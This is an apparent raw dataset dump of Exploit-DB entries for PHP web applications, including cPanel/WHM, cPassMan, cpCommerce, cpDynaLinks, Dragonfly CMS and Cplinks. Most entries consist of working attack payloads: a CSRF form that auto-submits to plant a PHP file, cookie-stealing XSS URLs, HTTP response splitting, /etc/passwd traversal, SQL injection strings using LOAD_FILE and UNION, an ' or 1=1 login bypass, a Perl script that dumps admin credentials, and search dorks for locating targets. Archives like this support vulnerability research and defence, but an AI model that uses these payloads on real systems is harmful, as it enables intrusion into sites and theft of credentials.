deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17330
Description: cPanel < 11.25 - Cross-Site Request Forgery (Add User PHP Script)
Type: webapps
Platform: php
Date: 2011-05-27
Author: ninjashell

Exploit:
# Exploit Title: cPanel < 11.25 CSRF - Add php script
# Date: 27.05.2011
# Author: ninjashell
# Software Link: http://cpanel.net
# Version: 11.25 (see details below)
# Tested on: Linux
# CVE : N/A

I. Introduction
cPanel versions below and excluding 11.25 , are vulnerable to CSRF which
leads to uploading a PHP script of the attackers liking. If you have turned
off security tokens and referrer security check, no matter what version you
are using, you are vulnerable as well.

II. Proof of concept (PoC)
<html>
<form name="editform" action="
http://localhost:2082/frontend/x3/err/savefile.html" method=POST
onSubmit="return loadfdata();">
<input type="hidden" id="codepage" class="codepress html" name="page"
value="<?php echo 'ninjashell'; ?>">
<input type="hidden" name="domain" value="localhost">
<input type="hidden" value="public_html/" name="dir">
<input type="hidden" value="ninjashell.php" name="file">
<body onload="document.forms.editform.submit();">
</form>
</html>
Afterwards simply check for ninjashell.php in the directory.

III. Counter-measures
All cPanel versions starting from 11.25 and above have two in-built security
features to prevent such attacks - security tokens and referrer security
check. This means that if you are a cpanel client, you should update your
software.

IV. About the author.
- Ethical hacker;
- Freelance security consultant/penetration tester;
- Security researcher in the spare time;
- Over 12 years of experience;
You can always email me ninjashellmail@gmail.com or follow me on twitter
@ninjashell1337
Exploit-DB #33558
Description: cPanel and WHM 11.25 - 'failurl' HTTP Response Splitting
Type: webapps
Platform: php
Date: 2010-01-21
Author: Trancer

Exploit:
source: https://www.securityfocus.com/bid/37902/info

cPanel and WHM is prone to an HTTP response-splitting vulnerability.

Attackers can leverage this issue to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.

cPanel 11.25 and WHM 11.25 are vulnerable; other versions may also be affected. 

http://www.example.com/login/?user=foo&pass=bar&failurl=%0D%0ASet-Cookie%3A%20Rec=Sec
http://www.example.com/login/?user=foo&pass=bar&failurl=%0D%0AContent-Type:%20text/html%0D%0A%0D%0A%3Cscript%3Ealert%28%22Recognize-Security%20-%20%22%2Bdocument.cookie%29;%3C/script%3E%3C!--
http://www.example.com/login/?user=foo&pass=bar&failurl=http://www.rec-sec.com
Exploit-DB #29238
Description: cPanel Web Hosting Manager 3.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-12-08
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21498/info

Web Hosting Manager is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 3.1.0 is vulnerable to these issue; other versions may also be affected.

Note that to exploit these issues, an attacker must have authenticated access to the affected application.

http://www.example.com/scripts2/changeemail?domain=d[XSS]
http://www.example.com/scripts2/limitbw?domain=[XSS]
http://www.example.com/scripts2/dofeaturemanager?action=editfeature&feature=XSS
http://www.example.com/scripts/rearrangeacct?domain=[XSS]
Exploit-DB #38153
Description: cPanel WebHost Manager (WHM) - '/webmail/x3/mail/clientconf.html?acct' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-12-27
Author: Christy Philip Mathew

Exploit:
source: https://www.securityfocus.com/bid/57060/info

cPanel and WHM are prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

cPanel 11.34.0 and WHM 11.34.0 are vulnerable; other versions may also be affected. 

http://www.example.com/webmail/x3/mail/clientconf.html?domain=&redirectdomain=&acct=%3Cscript%3Ealert%28%22XSS%20Vulnerability%22%29%3C/script%3E&archiving=0
Exploit-DB #29183
Description: cPanel WebHost Manager 3.1 - 'addon_configsupport.cgi?supporturl' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-25
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21288/info
 
WebHost Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
WebHost Manager version 3.1.0 is vulnerable; other versions may also be affected.

http://www.example.com:2086/cgi/addon_configsupport.cgi?cgiaction=save&supportaddy=Domain.name&emailpipecmd=Domain.name&displaybrowserbody=1&displaybrowsersubject=1&displaydomainbody=1&displaydomainsubject=1&displayhostnamebody=1&displayhostnamesubject=1&displayipbody=1&displayipsubject=1&displayuserbody=1&displayusersubject=1&type=redirect&supporturl=XSS
Exploit-DB #29182
Description: cPanel WebHost Manager 3.1 - 'dochangeemail?email' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-25
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21288/info

WebHost Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

WebHost Manager version 3.1.0 is vulnerable; other versions may also be affected.

http://www.example.com:2086/scripts2/dochangeemail?user=demo&domain=demo.com&email=XSS
Exploit-DB #29187
Description: cPanel WebHost Manager 3.1 - 'dofeaturemanager?feature' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-25
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21288/info
     
WebHost Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
     
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
     
WebHost Manager version 3.1.0 is vulnerable; other versions may also be affected.

http://www.example.com:2086/scripts2/dofeaturemanager?action=addfeature&feature=XSS
Exploit-DB #29185
Description: cPanel WebHost Manager 3.1 - 'domts2?domain' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-25
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21288/info
   
WebHost Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
   
WebHost Manager version 3.1.0 is vulnerable; other versions may also be affected.

http://www.example.com:2086/scripts2/domts2?domain=XSS
Exploit-DB #29184
Description: cPanel WebHost Manager 3.1 - 'editpkg?pkg' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-25
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21288/info
  
WebHost Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
WebHost Manager version 3.1.0 is vulnerable; other versions may also be affected.

http://www.example.com:2086/scripts/editpkg?pkg=XSS
Exploit-DB #29186
Description: cPanel WebHost Manager 3.1 - 'editzone?domain' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-25
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21288/info
    
WebHost Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
    
WebHost Manager version 3.1.0 is vulnerable; other versions may also be affected.

http://www.example.com:2086/scripts/editzone?domain=XSS
Exploit-DB #29188
Description: cPanel WebHost Manager 3.1 - 'park?ndomain' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-25
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21288/info
     
WebHost Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
     
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
     
WebHost Manager version 3.1.0 is vulnerable; other versions may also be affected.

http://www.example.com:2086/scripts/park?domain=demo.com&ndomain=XSS
Exploit-DB #17172
Description: cPassMan 1.82 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2011-04-15
Author: Sense of Security

Exploit:
Sense of Security - Security Advisory - SOS-11-004

Release Date.                  15-Apr-2011
Last Update.                   -
Vendor Notification Date.      7-Mar-2011
Product.                       Collaborative Passwords Manager (cPassMan)
Platform.                      Independent (PHP)
Affected versions.             1.82 (verified), and possibly others
Severity Rating.               Medium
Impact.                        Local file system access
Attack Vector.                 Remote without authentication
Solution Status.               Upgrade to v2.0, v1.x branch no longer 
updated
CVE reference.                 Not yet assigned

Details.
A vulnerability has been discovered in the Collaborative Passwords Manager
(cPassMan) web application that can be exploited to retrieve files from the
local host file system. The input passed to the component
"sources/downloadfile.php" via the "path" variable allows the retrieval of 
any
file on the local file system that the web server has access to. There is no
data validation or authorisation mechanisms present within this component.

Proof of Concept.
http://localhost/cpassman/sources/downloadfile.php?path=/etc/passwd

Solution.
The author (Nils Laumaille) has indicated that the v1.x branch of cPassMan
will no longer be updated, as he has rewritten the application and v2.0 is 
now
the recommended release.

Discovered by.
Kaan Kivilcim - Sense of Security Labs.

About us.
Sense of Security is a leading provider of information
security and risk management solutions. Our team has expert
skills in assessment and assurance, strategy and architecture,
and deployment through to ongoing management. We are
Australia's premier application penetration testing firm and
trusted IT security advisor to many of the country's largest
organisations.

Sense of Security Pty Ltd
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA
T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-11-004.pdf

Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php
Exploit-DB #30101
Description: CPCommerce 1.1 - 'manufacturer.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-05-29
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/24223/info

cpCommerce is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

cpCommerce 1.1.0 is reported vulnerable; other versions may also be affected. 

http://www.example.com/cpcommerce/manufacturer.php?id_manufacturer=-9/**/union/**/select/**/pass,LOAD_FILE(0x2F6574632F[PII_REDACTED]64),0/**/from/**/cpAccounts/*
Exploit-DB #5437
Description: CPCommerce 1.1.0 - Cross-Site Scripting / Local File Inclusion
Type: webapps
Platform: php
Date: 2008-04-13
Author: BugReport.IR

Exploit:
########################## www.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title: cpCommerce Multiple Vulnerabilities
# Vendor: http://cpcommerce.cpradio.org
# Bugs: XSS, SQL Injection , Local File Inclusion
# Vulnerable Version: 1.1.0 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix: N/A
# Original Advisory: http://bugreport.ir/index.php?/34
######################################################################


####################
- Description:
####################

cpCommerce is an open-source e-commerce solution that is maintained by templates and modules.


####################
- Vulnerability:
####################

+-->XSS
POC: http://localhost/v1.1.0/cpcommerce/calendar.php?obj=view.year&month=2&date=21&year=2008<script>alert(document.cookie)</script>


+-->SQL Injection
Input passed to the "id_product","id_manufacturer" and "id_category" parameters in
functions/display_page.func.php is not properly sanitised before being used in SQL queries.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Code Snippet:
functions/display_page.func.php Line#94-96

if (isset($_GET['id_product']) && trim($_GET['id_product']) != "") {
$product = $db_chooser->sql_query("select `id_category`, `id_manufacturer`, `name`, `description` from " . "" . $db_chooser->Products() . " where id_product='{$_GET['id_product']}' limit 1");


+--> Local File Inclusion
Input passed to the "language" and "action" parameters is not properly verified
before being used to include files.
This can be exploited to include arbitrary files from local resources.

Code Snippet:
actions/language.act.php Line#14-16

  // Verify the Language file exists
  if (isset($_GET['language']) && file_exists("{$folder}{$_GET['language']}"))
    $_SESSION['cpLanguage'] = "{$folder}{$_GET['language']}";

Code Snippet:
_functions.php Line#109-113

  ## Include Language File
  if (isset($_SESSION['cpLanguage']))
    require_once("{$config['document_root']}{$config['maindir']}{$_SESSION['cpLanguage']}");
  else
    require_once("{$config['document_root']}{$config['maindir']}{$config['language']}");

POC: http://localhost/v1.1.0/cpcommerce/?action=language&language=../To%20DO%20LIST.txt

---------------------------------------

Code Snippet:
_functions.php Line#148-152
  ## Run Requested Action
  if (isset($_GET['action'])) $_POST['action'] = $_GET['action'];
  if (isset($_POST['submit']) || isset($_POST['action']))
    if (isset($_POST['action'])) {
      require_once("{$config['document_root']}{$config['maindir']}{$config['actions']}{$_POST['action']}.act.php");

POC: http://localhost/v1.1.0/cpcommerce/category.php?action=../To%20DO%20LIST.txt%00

####################
- Credit :
####################
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com

# milw0rm.com [2008-04-13]
Exploit-DB #8455
Description: CPCommerce 1.2.8 - 'id_document' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-04-16
Author: NoGe

Exploit:
==========================================================================================


  [o] cpCommerce 1.2.8 Blind SQL Injection Vulnerability

       Software : cpCommerce version 1.2.8
       Vendor   : http://cpcommerce.cpradio.org/
       Download : http://cpcommerce.cpradio.org/downloads.php
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


==========================================================================================


  [o] Vulnerable file

       document.php



  [o] Exploit

       http://localhost/[path]/document.php?id_document=[SQL]
       http://localhost/[path]/document.php?id_document=1 and substring(@@version,1,1)=4
       http://localhost/[path]/document.php?id_document=1 and substring(@@version,1,1)=5



  [o] Dork

       "Powered by cpcommerce"


==========================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org ]
       OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang
       H312Y yooogy mousekill }^-^{ loqsa zxvf
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke
       Special for Vrs-hCk [ thx cuy.. :p ]

        
==========================================================================================

# milw0rm.com [2009-04-16]
Exploit-DB #4511
Description: cpDynaLinks 1.02 - 'category.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-10-10
Author: ka0x

Exploit:
#!/usr/bin/perl

# cpDynaLinks 1.02 Remote Sql Inyection exploit
# download:
# http://www.cplinks.com/download/cpdynalinks/cpdynalinks_version_1_02_full.zip
# bug found by s0cratex
# exploit written by ka0x
# D.O.M TEAM 2007
# d0rk: Powered by cpDynaLinks
# need magic_quotes_gpc off

# contact: <ka0x01[at]gmail.com> <s0cratex[at]nasa.gov>

# ka0x@domlabs:~# perl cpdynalinks.pl http://127.0.0.1/
#
# [+] connecting in http://127.0.0.1/...
# [!] user: admin  [!] pass: c9cb9115e90580e14a0407ed1fcf8039

use strict;
use LWP::UserAgent;

my $host = $ARGV[0];

 if(!$ARGV[0]) {
    print "\n[x] cpDynaLinks 1.02 Remote Sql Inyection exploit\n";
    print "[x] written by ka0x - ka0x01[at]gmail.com\n";
    print "[x] usage: perl $0 [host]\n";
    print "[x] example: http://host.com/cpDynaLinks\n";
    exit(1);
 }
 
    print "\n[+] connecting in $host...\n";
    my $cnx = LWP::UserAgent->new() or die;
    my $go=$cnx->get($host."/category.php?category=-1'/**/union/**/select/**/1,2,3,concat(0x5f5f5f5f,0x5b215d[PII_REDACTED]3a20,admin_username,0x20205b215d[PII_REDACTED]3a20,admin_password,0x5f5f5f5f),5,6,7,8,9,9,9,9/**/from/**/mnl_admin/*");
    if ($go->content =~ m/____(.*?)____/ms) {
        print "$1\n";
    } else {
        print "\n[-] exploit failed\n";
    }

# milw0rm.com [2007-10-10]
Exploit-DB #25316
Description: CPG Dragonfly 9.0.2.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-03-29
Author: mircia

Exploit:
source: https://www.securityfocus.com/bid/12930/info

CPG Dragonfly is prone to multiple cross-site scripting vulnerabilities in various modules.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.php?name=Your_Account&profile=anyone"><script>alert('foo')</script>

http://www.example.com/coppermine/displayimage/meta=lastcom/cat=0"><script>alert('foo')</script>/pos=0.html
Exploit-DB #36867
Description: CPG Dragonfly CMS 9.3.3.0 - Multiple Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-02-21
Author: Ariko-Security

Exploit:
source: https://www.securityfocus.com/bid/52100/info

Dragonfly CMS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Dragonfly 9.3.3.0 is vulnerable; other versions may be affected. 

http://www.example.com/index.php?name=coppermine&file=thumbnails&meta=lastup%22%3E%3CsCrIpT%3Ealert%2852128%29%3C%2fsCrIpT%3E&cat=0
Exploit-DB #5538
Description: Cplinks 1.03 - Authentication Bypass / SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-04
Author: InjEctOr5

Exploit:
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

Title :: cpLinks v1.03 Multiple Vulnerabilities (bypass/SQL/XXS)


Author :: InjEctOr [s0f (at) w (dot) cn]

&& FishEr762  [SQ7 (at) w (dot) cn ]


Script Site :: http://www.cplinks.com/

Dork  :: ThinkinG 

Greets :: Allah ,TryaG TeaM & Muslims Hackers

Terms of use :: This exploit is just for educational purposes, DO NOT use it for illegal acts.



--------------------------------------------[C o n t e x t]-----------------------------------------




##########################
##Expl0!T1 bypass login ##
##########################


http://[site]/[script]/admin/


in username filed insert:

' or 1=1 /*    

addition, some time must type any thing in password field



#####################################
## Explo!T 2  Reomte SQL Injection ##
#####################################

file/
search.php


@ line 57 ::


$query = "SELECT
			category,
			sub_category,
			title,
			url,
			description,
			status
			FROM mnl_links
			WHERE category='$search_category'
			AND description LIKE '%$search_text%'
			AND approved='yes'
			ORDER BY status, rec_timestamp";


search url: http://localhost/[script's_bad_day]/search.php

so just insert in search filed this query :)

' union select admin_username,admin_password,3,4,5,6 from mnl_admin/*


##################
## EXpl!T3 Xss  ##
##################


Vulnerability found in script search.php .. also !


in search field insert  >"> and then  xss c0de ::



example: >"><script>alert("!! InjEctOr TeaM Became Here !!")</script>>



############### T|-|4t'5 4ll ############### 


-------------------------------------------[End of  context]----------------------------------------

# milw0rm.com [2008-05-04]